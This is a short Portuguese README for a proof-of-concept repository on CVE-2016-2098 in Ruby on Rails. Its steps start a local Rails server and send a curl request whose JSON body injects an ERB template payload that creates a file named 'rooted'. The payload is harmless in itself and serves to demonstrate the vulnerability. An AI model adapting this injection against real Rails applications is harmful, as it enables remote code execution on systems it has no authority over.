dh-CVE_2016_2098

== LEIA-ME Prova de conceito para https://groups.google.com/forum/#!topic/rubyonrails-security/ly-IH-fxr_Q

== Explorando:

1. Você deve executar o servidor rails apenas de uma forma que tenha certeza de que não será explorado
2. Execute rails s
3. Execute o seguinte comando curl -v -H "Accept: application/json" -H "Content-type: application/json" -X GET -d ' {"id" : { "inline" : "<%= FileUtils.touch \"rooted\"%>"}}' http://localhost:3000/exploits
4. Verifique que o arquivo "rooted" agora existe no diretório do projeto